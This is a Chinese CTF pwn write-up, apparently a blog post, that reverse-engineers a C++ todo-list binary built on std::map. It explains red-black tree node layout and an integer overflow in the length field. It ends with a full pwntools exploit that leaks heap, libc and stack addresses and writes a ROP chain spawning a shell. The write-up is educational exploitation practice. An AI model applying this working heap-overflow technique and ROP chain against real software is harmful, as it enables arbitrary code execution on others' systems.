  768. {
  769. v15 = v14;
  770. v14 = std::_Rb_tree_increment(v14);
  771. v16 = std::_Rb_tree_rebalance_for_erase(v15, &amp;MEMORY[0x72C8]);
  772. v17 = *(void **)(v16 + 32);
  773. v18 = (void *)v16;
  774. if ( v17 != (void *)(v16 + 48) )
  775. operator delete(v17, *(_QWORD *)(v16 + 48) + 1LL);
  776. operator delete(v18, 0x50uLL);
  777. --MEMORY[0x72E8];
  778. }
  779. while ( v13 != (int *)v14 );
  780. }
  781. LABEL_32:
  782. if ( titile != v28 )
  783. operator delete(titile, v28[0] + 1);
  784. return v29 - __readfsqword(0x28u);
  785. }

这里存在整数溢出,输入-1,然后可以溢出0xffffffff,但size只有0x20

  1. std::__ostream_insert<char,std::char_traits<char>>(std::cout, "Length: ", 8LL);
  2. std::istream::_M_extract<unsigned int>(std::cin, &amp;len);
  3. len_more1 = (unsigned int)(len + 1);
  4. todo_node_chunk = (void *)operator new[](len_more1);
  5. if ( len_more1 )
  6. memset(todo_node_chunk, 0, len_more1);

edit发现输入无限制?难道可以溢出?发现不行好像自动束缚了

  1. std::__istream_extract(std::cin, *((_QWORD *)addr_node + 8), 0x7FFFFFFFFFFFFFFFLL);

map

但难点是map的逆向

map的内存布局
std::map原理
C++(STL):31 —-关联式容器map源码剖析

map是C++ STL中的关联容器,存储的是键值对(key-value),可以通过key快速索引到value。map容器中的数据是自动排序的,其排序方式是严格的弱排序(stick weak ordering),即在判断Key1和Key2的大小时,使用“<”而不是“<=”。map 使用二叉搜索树实现,STL map的底层实现是红黑树。

map有几个值得注意的地方:map的赋值运算是深拷贝,即调用map_a = map_b后,map_a中的元素拥有独立的内存空间。map的[]运算比较有意思,当元素不存在的时候会插入新的元素;在map中查找key是否存在时可以用find或count方法,find查找成功返回的是迭代器,查找失败则返回mymap.end(),说明该key不存在;map中的key不允许重复,其count方法只能返回0或1。

map定义

map的所有元素都是pair,同时具备key和value,其中pair的第一个元素作为key,第二个元素作为value。map不允许相同key出现,并且所有pair根据key来自动排序,其中pair的定义在如下:

template <typename T1, typename T2>
struct pair {
typedef T1 first_type;
typedef T2 second_type;

  1. T1 first;
  2. T2 second;
  3. pair() : first(T1()), second(T2()) { }
  4. pair(const T1&amp; a, const T2&amp; b) : first(a), second(b) { }

};

从定义中看到pair使用模板化的struct来实现的,成员变量默认都是public类型。map的key不能被修改,但是value可以被修改,STL中的map是基于红黑树来实现的,因此可以认为map是基于红黑树封装了一层map的接口,底层的操作都是借助于RB-Tree的特性来实现的。

template <class Key, class T, class Compare = less, class Alloc = alloc>
class map {
public:
typedef Key key_type; //key类型
typedef T data_type; //value类型
typedef T mapped_type;
typedef pair<const Key, T> value_type; //元素类型, const要保证key不被修改
typedef Compare key_compare; //用于key比较的函数
private:
//内部采用RBTree作为底层容器
typedef rb_tree<key\_type, value\_type, identity, key\_compare, Alloc> rep_type;
rep_type t; //t为内部RBTree容器
public:
//iterator_traits相关
typedef typename rep_type::const_pointer pointer;
typedef typename rep_type::const_pointer const_pointer;
typedef typename rep_type::const_reference reference;
typedef typename rep_type::const_reference const_reference;
typedef typename rep_type::difference_type difference_type;

//迭代器相关
typedef typename rep_type::iterator iterator;
typedef typename rep_type::const_iterator const_iterator;
typedef typename rep_type::const_reverse_iterator reverse_iterator;
typedef typename rep_type::const_reverse_iterator const_reverse_iterator;
typedef typename rep_type::size_type size_type;

//迭代器函数
iterator begin() { return t.begin(); }
const_iterator begin() const { return t.begin(); }
iterator end() { return t.end(); }
const_iterator end() const { return t.end(); }
reverse_iterator rbegin() { return t.rbegin(); }
const_reverse_iterator rbegin() const { return t.rbegin(); }
reverse_iterator rend() { return t.rend(); }
const_reverse_iterator rend() const { return t.rend(); }

//容量函数
bool empty() const { return t.empty(); }
size_type size() const { return t.size(); }
size_type max_size() const { return t.max_size(); }

//key和value比较函数
key_compare key_comp() const { return t.key_comp(); }
value_compare value_comp() const { return value_compare(t.key_comp()); }

//运算符
T& operator[](const key_type& k)
{
return (*((insert(value_type(k, T()))).first)).second;
}
friend bool operator== __STL_NULL_TMPL_ARGS (const map&, const map&);
friend bool operator< __STL_NULL_TMPL_ARGS (const map&, const map&);
}

节点

Node 有 5 个成员,除了 left、right、data,还有 color 和 parent。

C++实现,位于bits/stl_tree.h
/**

  • Non-template code
    **/

enum rb_tree_color { kRed, kBlack };

struct rb_tree_node_base
{
rb_treecolor color;
rb_tree_nodebase\ parent;
rb_tree_node
base* left;
rb_tree_node
base* right*;
};

/**

  • template code
    **/

template
struct rb_tree_node : public rb_tree_node_base
{
Value valuefield;
};


-

Tree 有更多的成员,它包含一个完整的 rb_tree_node_base(color/parent/left/right),还有 node_count 和 key_compare 这两个额外的成员。

这里省略了一些默认模板参数,如 key_compare 和 allocator。
template<typename Key, typename Value> // key_compare and allocator
class rb_tree
{
public:
typedef std::less key_compare;
typedef rb_tree_iterator iterator;
protected:

struct rb_tree_impl // : public node_allocator
{
key_compare keycompare;
rb_tree_nodebase header;
size_t nodecount;
};
rb_treeimpl impl;
};

template<typename Key, typename T> // key_compare and allocator
class map
{
public:
typedef std::pair<const Key, T> value_type;
private:
typedef rb_tree<Key, value\_type> rep_type;
reptype tree;
};

迭代器

rb_tree 的 iterator 的数据结构很简单,只包含一个 rb_tree_node_base 指针,但是其++/—操作却不见得简单(具体实现函数不在头文件中,而在 libstdc++ 库文件中)。

// defined in library, not in header
rb_tree_node_base rb_tree_increment(rb_tree_node_base node);
// others: decrement, reblance, etc.

template
struct rb_tree_node : public rb_tree_node_base
{
Value valuefield;
};

template
struct rb_tree_iterator
{
Value& operator() const
{
return static_cast<rb_tree_node
>(node_)->valuefield;
}

rb_treeiterator& operator++()
{
node
= rb_treeincrement(node);
return *this;
}

rb_tree_nodebase\ node*;
};

再逆

交给AI逆了下
add大概逻辑如下

  1. #include <iostream>
  2. #include <string>
  3. #include <map>
  4. #include <new>
  5. #include <cstring>
  6. struct TodoNode {
  7. char *content;
  8. int length;
  9. };
  10. std::map<std::string, TodoNode> todo;
  11. unsigned __int64 __fastcall todo_add() {
  12. unsigned __int64 start_time = __readfsqword(0x28u);
  13. char title[256] = {0}; // 假设最大标题长度为256
  14. unsigned int len = 0;
  15. char *todo_node_chunk = nullptr;
  16. // 读取标题
  17. std::cout << "Title: ";
  18. std::cin >> title;
  19. // 检查标题是否已存在
  20. auto it = todo.find(title);
  21. if (it != todo.end()) {
  22. std::cout << "Already exists" << std::endl;
  23. return start_time - __readfsqword(0x28u);
  24. }
  25. // 读取长度
  26. std::cout << "Length: ";
  27. std::cin >> len;
  28. unsigned int len_more1 = len + 1;
  29. // 分配内存
  30. todo_node_chunk = new char[len_more1];
  31. if (len_more1) {
  32. memset(todo_node_chunk, 0, len_more1);
  33. }
  34. // 插入红黑树
  35. todo[title] = {todo_node_chunk, len};
  36. // 处理异常
  37. if (!todo[title].content) {
  38. std::cout << "Out of memory" << std::endl;
  39. delete[] title;
  40. std::__throw_bad_alloc();
  41. }
  42. // 清理和返回
  43. if (title != nullptr) {
  44. delete[] title;
  45. }
  46. return start_time - __readfsqword(0x28u);
  47. }
  48. int main() {
  49. todo_add();
  50. return 0;
  51. }

刚开始add由于rootnode不存在,会去LABEL_34先初始化

先拿个实例编译下带符号表,然后再放IDA里看。大概弄出逻辑

  1. struct node
  2. {
  3. _DWORD color;
  4. _QWORD parents;
  5. _QWORD left_son_node;
  6. _QWORD right_son_node;
  7. struct string title_str_obj;
  8. struct pair todo_pair;
  9. };
  10. struct map
  11. {
  12. _QWORD key_compare;
  13. _QWORD color;
  14. _QWORD parents;
  15. _QWORD left;
  16. _QWORD right;
  17. _QWORD node_count;
  18. };
  19. struct pair
  20. {
  21. _QWORD todo_ptr;
  22. _QWORD todo_len;
  23. };
  24. struct string
  25. {
  26. _QWORD ptr;
  27. _QWORD size;
  28. char str[16];
  29. };

一个todo_add就是增加一个节点

由于edit会结尾把换行符号改为零字节。不能溢出然后输出泄露

泄露后发现没有IO,std::cout不知道可不可行

但能控制node然后来任意地址读写,由于只有一开始的根节点的parent是指向map,其余的node里的parent都是指向堆地址。所以可以溢出来伪造覆盖。然后设置todo_ptr为environ,泄露栈。然后再通过edit改todo_ptr为栈,再写rop就行

或者UAF写fd也行

下次记得fuzz对size这方面也要随机些,感觉都束缚为正数了,所以没爆出来

exp

  1. from pwn import *
  2. import random
  3. context(os="linux",arch="amd64",log_level="debug")
  4. def randinit(n):
  5. return random.randint(1, n)
  6. def new(title,length):
  7. p.sendlineafter(b"> ",str(1))
  8. p.sendlineafter(b"Title: ",title)
  9. result=p.recvuntil(b"1. New todo",timeout=0.5)
  10. if b"Already exists" in result:
  11. return
  12. p.sendline(length)
  13. def remove(title):
  14. p.sendlineafter(b"> ",str(2))
  15. p.sendlineafter(b"Title: ",title )
  16. def edit(title,content):
  17. p.sendlineafter(b"> ",str(3))
  18. p.sendlineafter(b"Title: ",title)
  19. p.sendlineafter(b"TODO: ",content)
  20. def show(title):
  21. p.sendlineafter(b"> ",str(4))
  22. p.sendlineafter(b"Title: ",title)
  23. p=process("./chall")
  24. gdb.attach(p)
  25. pause()
  26. new(str(1),str(-1))
  27. remove(str(1))
  28. new(str(1),str(-1))
  29. show(str(1)) # leak heap
  30. p.recvuntil(b"TODO: ")
  31. heap=u64(p.recvuntil(b"\n",drop=True).ljust(8,b"\x00"))<<12
  32. print("heap leak "+hex(heap))
  33. new(str(2),str(-1))
  34. new(str(3),str(-1))
  35. new(str(4),str(-1))
  36. new(str(5),str(-1))
  37. new(str(6),str(-1))
  38. new(str(7),str(-1))
  39. new(str(8),str(-1))
  40. new(str(9),str(-1))
  41. new(str(10),str(-1))
  42. new(str(11),str(-1))
  43. payload=b"1"*0x10+b"\x00"*8+p64(0x461)
  44. edit(str(1),payload)
  45. remove(str(1))
  46. new(str(1),str(-1))
  47. show(str(2)) # leak libc
  48. p.recvuntil(b"TODO: ")
  49. libc=u64(p.recvuntil(b"\n",drop=True).ljust(8,b"\x00"))-0x203b20
  50. print("libc leak "+hex(libc))
  51. payload=b"1"*0x10+b"\x00"*8+p64(0x61)+p64(0)+p64(heap+0x750)+p64(0)+p64(0)+p64(heap+0x300)+p64(1)+p64(0x31)+p64(0) +p64(libc+0x20ad58)+p64(0x100)
  52. edit(str(1),payload)
  53. show(str(1))
  54. p.recvuntil(b"TODO: ")
  55. stack=u64(p.recvuntil(b"\n",drop=True).ljust(8,b"\x00"))
  56. print("stack leak "+hex(stack))
  57. payload=b"1"*0x10+b"\x00"*8+p64(0x61)+p64(0)+p64(heap+0x450)+p64(heap+0x750)+p64(heap+0x3d0)+p64(heap+0x380)+p64(1)+p64(0x32)+p64(0) +p64(stack-0x148)+p64(0x100)
  58. edit(str(2),payload)
  59. pause()
  60. bin_sh=libc+0x1cb42f
  61. sys=libc+0x58740
  62. ret=libc+0x000000000002882f
  63. pop_rdi=libc+0x000000000010f75b
  64. rop=p64(0)+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(sys)
  65. edit(str(2),rop)
  66. p.interactive()
  67. # pause()
  68. # index=0
  69. # file=open('fuzz.txt', 'w')
  70. # p=process("./chall")
  71. # gdb.attach(p)
  72. # # pause()
  73. # for i in range(0x1000):
  74. # match randinit(2):
  75. # case 1:
  76. # length=randinit(0x1000)
  77. # title=str(index)
  78. # new(title,str(length))
  79. # file.write("insert size"+str(1)+"\n")
  80. # file.flush()
  81. # case 2:
  82. # index=randinit(0x100)
  83. # remove(str(index))
  84. # file.write("remove title "+str(index)+"\n")
  85. # file.flush()
  86. # case 3:
  87. # len=random.randint(0x1000, 0x1100)
  88. # payload=len*b"a"
  89. # edit(payload)
  90. # file.write("edit \n")
  91. # file.flush()
  • 发表于 2024-10-09 09:00:00
  • 阅读 ( 2128 )
  • 分类:其他

0 条评论

麦当当
麦当当

4 篇文章

站长统计